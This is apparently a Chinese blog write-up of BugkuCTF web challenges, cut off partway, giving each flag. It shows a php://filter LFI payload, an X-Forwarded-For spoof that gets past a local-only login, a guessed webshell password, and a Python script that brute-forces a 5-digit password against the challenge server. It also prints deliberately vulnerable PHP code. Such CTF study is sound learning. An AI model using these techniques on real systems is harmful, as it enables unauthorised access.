BugkuCTF——最新web篇writeup(持续更新)

web2

打开页面后F12查看源代码即可。

在这里插入图片描述

flag:KEY{Web-2-bugKssNNikls9100}

计算器

这里做了输入长度限制,F12选中输入框,修改长度限制即可。
在这里插入图片描述
flag:flag{CTF-bugku-0032}

web基础$_GET

这里要理解超全局变量$_GET,只要我们传递的参数为what,并且内容为flag,即可输出flag。
在这里插入图片描述

flag:flag{bugku_get_su8kej2en}

web基础$_POST

这里跟上面一样,不过要借助插件hackerbar进行一个POST传输。

在这里插入图片描述flag:flag{bugku_get_ssseint67se}

矛盾

代码审计

这里题目要求num为1却不能是数字,这就很矛盾了,我们传一个以1开头,不能以数字结尾的字符串就行了。
在这里插入图片描述flag:flag{bugku-789-ps-ssdf}

web3

这道题跟web2有异曲同工之妙,都是F12查看源代码找到线索,唯一不同就是web3进行了一次Unicode编码,解码即可获得flag。
在这里插入图片描述

域名解析

修改host文件

这个很简单,修改hosts文件即可。
在这里插入图片描述

hosts文件在C:\Windows\System32\drivers\etc下,修改后访问flag.baidu.com即可得到flag
在这里插入图片描述
flag:KEY{DSAHDSJ82HDS2211}

你必须让他停下

抓包

访问页面后它会无限刷新,我们挂一个Burp抓抓包就好了,会出现一个10.jpg的页面,这个页面的长度跟其他页面长度不同,flag就在里边。
在这里插入图片描述

变量1

代码审计

这考察了超全局变量的运用,先来分析一下代码:

<?php
error_reporting(0);				// 关闭报错
include "flag1.php";			// 包含flag1.php文件
highlight_file(__file__);		// 高亮显示文件内容
if(isset($_GET['args'])){
   		// 判断GET接收的参数是不是args
    $args = $_GET['args'];		// 把ages的值赋给$args
    if(!preg_match("/^\w+$/",$args)){
   	//添加正则匹配,只允许至少一个的任意数字字母,与$args进行匹配
        die("args error!");		//	如果匹配不上就输出args error
    }
    eval("var_dump($$args);");	//	把内容当作PHP代码执行,$$args相当于$($args)
}
?>

这里一开始想到的是用eval执行一个file()函数,来进行文件包含,但是这里对用户的输入进行了正则过滤,所以考虑到用GLOBAS[]输出所有的全局变量
在这里插入图片描述

flag:flag{92853051ab894a64f7865cf3c2128b34}

web5

控制台解码

首先F12查看源代码,发现有一串被处理的字符串
在这里插入图片描述

直接粘贴到控制台中,得到flag
在这里插入图片描述
flag:ctf{whatfk}

头等舱

这道题确实跟它的描述一样,什么也没有。。。
在这里插入图片描述

抓包

这时候只能抓包看一下,或者扫扫目录什么的,抓包发包的时候发现了flag
在这里插入图片描述
flag:flag{Bugku_k8_23s_istra}

网站被黑

目录扫描

打开后是一个黑页。根据题意,实战中经常遇到,一般就是有大马这种,既然是实战,那就先扫扫目录
在这里插入图片描述

弱口令

访问后发现需要密码,试了试一些常规的shell弱口令得到flag,密码为hack:
在这里插入图片描述
**flag:flag{hack_bug_ku035} **

管理员系统

首先F12查看源代码,一定要看完,在最后一行有一段base64加密的字符串
在这里插入图片描述

解密后是test123,应该就是密码了
在这里插入图片描述
但是当我们去登录的时候,登陆页面对IP进行了限制,只允许本地访问,那我们抓个包,加一下X-Forwarded-For: 127.0.0.1来绕过一下把:
在这里插入图片描述

抓包改包

得到flag,这里确实是MD5加密了,但是flag就是这串密文:
在这里插入图片描述
flag:flag{85ff2ee4171396724bae20c0bd851f6b}

web4

代码审计

访问后看一下源码,发现了这一串东西:

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

放在Hackbar里解码后大概是这个样子:

function checkSubmit()
{
   
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
   
        if("67d709b2b;54aa2aa648cf6e87a7114f1"==a.value){
   
            return!0;
        alert("Error");
        a.focus();
        return!1;
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
eval(unescape(p1) + unescape(\'%35%34%61%61%32\' + p2));  

重点是那串判断中被加密的条件67d709b2b;54aa2aa648cf6e87a7114f1,提交得到flag:
在这里插入图片描述

flag:KEY{J22JK-HS11}

flag在index里

PHP伪协议

这里涉及到通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码,题目也说了flag在index里,如果我们直接包含index.php,程序是会把它执行的,并不会输出源码,但是我们如果利用LFI漏洞来读取index,是会读到一串加密的字符串的:

在这里插入图片描述

base64解码后得到flag:

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){
   echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
   
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

flag:flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

看题目地址,提示爆破,且密码长度为5位数,用Python写个脚本就行了:
在这里插入图片描述

Python编写exp
#!/usr/bin/env python
# coding:utf-8


import requests
import re


def dic():
    # 从0到9999开始遍历输出
    for i in range(0, 99999):
        # 如果i的长度小于5
        if len(str(i)) < 5:
            # 前面用0补全,最多5位,追加到value中
            value.append('0'*(5-len(str(i)))+str(i))
        else:
            # 追加到value中
            value.append(str(i))

def get_flag():
    print '开始爆破,请稍等...'
    # 遍历value中的值赋给j
    for j in value:
        data = {
   'pwd':j}
        print '尝试密码:',j
        # post数据
        req = requests.post(url,data)
        req.encoding='utf-8'
        # 获取返回页面的信息
        html2 = req.text
        # 与模板进行对比,如果返回的信息不一致则进行正则匹配,直接打印出flag
        if html2 != html1:
            flag = re.findall(r'flag.+', html1)
            print flag[0]
            break

if __name__=='__main__':
    # 定义URL,和一个接收密码的字典
    url = 'http://123.206.87.240:8002/baopo/?yes'
    value = []

    # 定义一个对比模板
    data = {
   'pwd': '00000'}
    req = requests.post(url, data=data)
    req.encoding = 'utf-8'
    html1 = req.text
	
	# 开怼
    dic()
    get_flag()

有时间的去跑一跑,太耽误事儿了,密码:13579

flag:flag{bugku-baopo-hah}

备份是个好习惯

目录扫描

题目都说了,那咱们就拿出御剑来,专门扫一下.bak这种的备份文件吧
在这里插入图片描述

代码审计

下载后打开,是一道代码审计题,这是它的源码:

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
   
    echo $flag."取得flag";
}
?>

我们一段一段来分析,首先分析它对url参数过滤的代码:

<?php
# 包含本地文件flag.php
include_once "flag.php";
# 取消报错
ini_set("display_errors", 0);
# strstr是查找字符串的首次出现,这里捕获的是当前url?后的所有字符串,捕获之后返回给str
$str = strstr($_SERVER['REQUEST_URI'], '?');
# substr是取字符串中的子串,这个可以理解为str变成了一个列表,里所有的字符串变成了单一的元素;
# 从0开始计数,这里1的意思是,从1开始取出后面所有的元素拼接成一个新的字符串重新赋值给str
$str = substr($str,1);
# str_replace的作用是替换,这里将str中的'key'替换为''
$str = str_replace('key','',$str);
# 把str解析成变量,这里也就是解析key1跟key2
parse_str($str);

为了方便理解,我在本地改了一下代码,让它输出一下:

ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
echo $str.'<br><br>'
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值